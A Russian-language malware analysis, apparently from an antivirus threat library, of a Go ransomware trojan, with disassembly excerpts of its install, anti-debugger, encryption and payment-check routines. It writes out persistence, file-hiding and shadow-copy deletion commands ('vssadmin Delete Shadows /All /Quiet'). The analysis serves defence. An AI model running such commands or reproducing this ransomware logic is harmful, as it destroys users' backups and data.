SHA1:
- 3218c04576b08ed65530086a41659b51902fce51
Троянец-шифровальщик, написанный на языке Go. При запуске выполняет следующие действия:
- определяет имя собственного файла и проверяет его на соответствие значению «Windows_Security.exe». При совпадении переходит к пункту 6;
- удаляет папку %APPDATA%\Windows_Update;
- создает папку %APPDATA%\Windows_Update;
- создает собственную копию в папке %APPDATA%\Windows_Update с именем Windows_Security.exe;
- удаляет оригинальный исполняемый файл и запускает файл %APPDATA%\Windows_Update\Windows_Security.exe, после чего исходный процесс завершается;
- если папка, из которой запущен троянец, имеет имя, отличное от Windows_Update, выполняет выход из функции установки;
- выполняет команду:
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V Windows-Defender /t REG_SZ /F /D %APPDATA%\Windows_Update\Windows_Security.exe
- выполняет следующие команды (строки закодированы методом Base64):
attrib +H +S %APPDATA%\\Windows_Update\\ attrib +H +S %APPDATA%\\Windows_Update\\Windows_Security.exe
- создает свою копию во временной папке под именем %TEMP%\\Windows_Security.exe и завершает выполнение.
Шифрование выполняет процесс троянца, запущенный из папки %TEMP%. Перед выходом из функции установки выполняется еще одна функция:
.text:00000000004021E0 main_BypassAV proc near ; CODE XREF: main_Install:loc_401F02p
.text:00000000004021E0 ; main_BypassAV+38j
.text:00000000004021E0 mov rcx, gs:28h
.text:00000000004021E9 mov rcx, [rcx+0]
.text:00000000004021F0 cmp rsp, [rcx+10h]
.text:00000000004021F4 jbe short loc_402213
.text:00000000004021F6 call main_LongLoop
.text:00000000004021FB mov rax, cs:some_counter
.text:0000000000402202 add rax, 0Bh
.text:0000000000402206 mov cs:some_counter, rax
.text:000000000040220D call main_CheckDebugger <- вызывает isDebuggerPresent
.text:0000000000402212 retn
.text:0000000000402213 ; ---------------------------------------------------------------------------
.text:0000000000402213
.text:0000000000402213 loc_402213: ; CODE XREF: main_BypassAV+14j
.text:0000000000402213 call runtime_morestack_noctxt
.text:0000000000402218 jmp short main_BypassAV
.text:0000000000402218 main_BypassAV endp
После завершения установки выполняется следующая команда:
"vssadmin.exe Delete Shadows /All /Quiet"
Затем троянец запрашивает следующие значения:
HKLM\Software\\Policis\\done
HKCU\Software\\Policis\\done
Если хотя бы один из этих параметров имеет значение True, шифрование не выполняется. Затем троянец формирует ключ шифрования и начинает шифрование файлов:
.text:0000000000402403 loc_402403: ; CODE XREF: main_main+17Bj
.text:0000000000402403 mov byte ptr [rsp], 1
.text:0000000000402407 call main_EncryptExternalDrives
.text:000000000040240C lea rax, aC ; "C:\\"
.text:0000000000402413 mov [rsp], rax
.text:0000000000402417 mov qword ptr [rsp+8], 3
.text:0000000000402420 mov byte ptr [rsp+10h], 1
.text:0000000000402425 call main_EncryptDocumets
.text:000000000040242A call main_WriteRegDone
.text:000000000040242F call main_PromtPay
.text:0000000000402434 call main_ListenForPayment
.text:0000000000402439 mov rbp, [rsp+78h]
.text:000000000040243E add rsp, 80h
.text:0000000000402445 retn
Функция main_WriteRegDone записывает в системный реестр значения, полученные после проверки ключей реестра HKLM\Software\\Policis\\done и HKCU\Software\\Policis\\done.
Функция EncryptDocumets имеет следующий вид:
.text:0000000000401040 main_EncryptDocumets proc near ; CODE XREF: main_EncryptDocumets+86j
.text:0000000000401040 ; main_main+145p ...
.text:0000000000401040
.text:0000000000401040 var_30 = qword ptr -30h
.text:0000000000401040 var_28 = qword ptr -28h
.text:0000000000401040 var_20 = qword ptr -20h
.text:0000000000401040 var_8 = qword ptr -8
.text:0000000000401040 arg_0 = qword ptr 8
.text:0000000000401040 arg_8 = qword ptr 10h
.text:0000000000401040 arg_10 = byte ptr 18h
.text:0000000000401040
.text:0000000000401040 mov rcx, gs:28h
.text:0000000000401049 mov rcx, [rcx+0]
.text:0000000000401050 cmp rsp, [rcx+10h]
.text:0000000000401054 jbe short loc_4010C1
.text:0000000000401056 sub rsp, 30h
.text:000000000040105A mov [rsp+30h+var_8], rbp
.text:000000000040105F lea rbp, [rsp+30h+var_8]
.text:0000000000401064 movzx eax, [rsp+30h+arg_10]
.text:0000000000401069 test al, al
.text:000000000040106B jz short loc_40109B
.text:000000000040106D mov rax, [rsp+30h+arg_0]
.text:0000000000401072 mov [rsp], rax
.text:0000000000401076 mov rax, [rsp+30h+arg_8]
.text:000000000040107B mov [rsp+8], rax
.text:0000000000401080 lea rax, encrypt
.text:0000000000401087 mov [rsp+10h], rax
.text:000000000040108C call path_filepath_Walk
.text:0000000000401091
.text:0000000000401091 loc_401091: ; CODE XREF: main_EncryptDocumets+7Fj
.text:0000000000401091 mov rbp, [rsp+30h+var_8]
.text:0000000000401096 add rsp, 30h
.text:000000000040109A retn
.text:000000000040109B ; ---------------------------------------------------------------------------
.text:000000000040109B
.text:000000000040109B loc_40109B: ; CODE XREF: main_EncryptDocumets+2Bj
.text:000000000040109B mov rax, [rsp+30h+arg_0]
.text:00000000004010A0 mov [rsp], rax
.text:00000000004010A4 mov rax, [rsp+30h+arg_8]
.text:00000000004010A9 mov [rsp+8], rax
.text:00000000004010AE lea rax, decrypt
.text:00000000004010B5 mov [rsp+10h], rax
.text:00000000004010BA call path_filepath_Walk
.text:00000000004010BF jmp short loc_401091
.text:00000000004010C1 ; ---------------------------------------------------------------------------
.text:00000000004010C1
.text:00000000004010C1 loc_4010C1: ; CODE XREF: main_EncryptDocumets+14j
.text:00000000004010C1 call runtime_morestack_noctxt
.text:00000000004010C6 jmp main_EncryptDocumets
Аргумент arg10 указывает направление работы функции: шифрование или расшифровка файлов.
Стандартная функция Go с именем path_filepath_Walk вызывает обработчик для каждого файла:
.text:0000000000684058 decrypt dq offset main_VisitD ; DATA XREF: main_EncryptDocumets+6Eo
.text:0000000000684060 encrypt dq offset main_Visit ; DATA XREF: main_EncryptDocumets+40
Функция main_Visit проверяет в имени файла наличие следующих строк:
tmp
winnt
Application Data
AppData
Program Files (x86)
Program Files
temp
thumbs.db
Recycle.Bin
System Volume Information
Boot
Windows
.enc
Instructions
Windows_Security.exe
В случае их обнаружения шифрование не выполняется. Троянец шифрует файлы 140 различных типов, определяя их по расширению. Вредоносная программа кодирует оригинальные имена файлов методом Base64, а затем присваивает зашифрованным файлам расширение .enc.
После этого троянец сохраняет файл с требованиями злоумышленников под именем %USERPROFILE%\\Desktop\\Instructions.html и открывает этот файл в окне браузера. Выполняет следующую команду:
msg * All your files have been encrypted, read the note in your Desktop
Функция main_ListenForPayment проверяет баланс кошелька в системе Bitcoin, для чего запрашивает веб-страницу:
http://btc.blockr.io/api/v1/address/info/1Bww**************Yph9SxP
Пример получаемого троянцем ответа:
{"status":"success","data":{"address":"1Bww**************Yph9SxP ","is_unknown":true,"balance":0,"balance_multisig":0,"totalreceived":0,"nb_txs":0,"first_tx":null,"last_tx":null,"is_valid":true},"code":200,"message":""}
Полученный ответ в формате Json сохраняется в специальную структуру. Запросы повторяются с заданным временным интервалом. При изменении баланса энкодер автоматически расшифровывает все зашифрованные ранее файлы с использованием встроенной функции.
Файлы, поврежденные этим троянцем, поддаются расшифровке.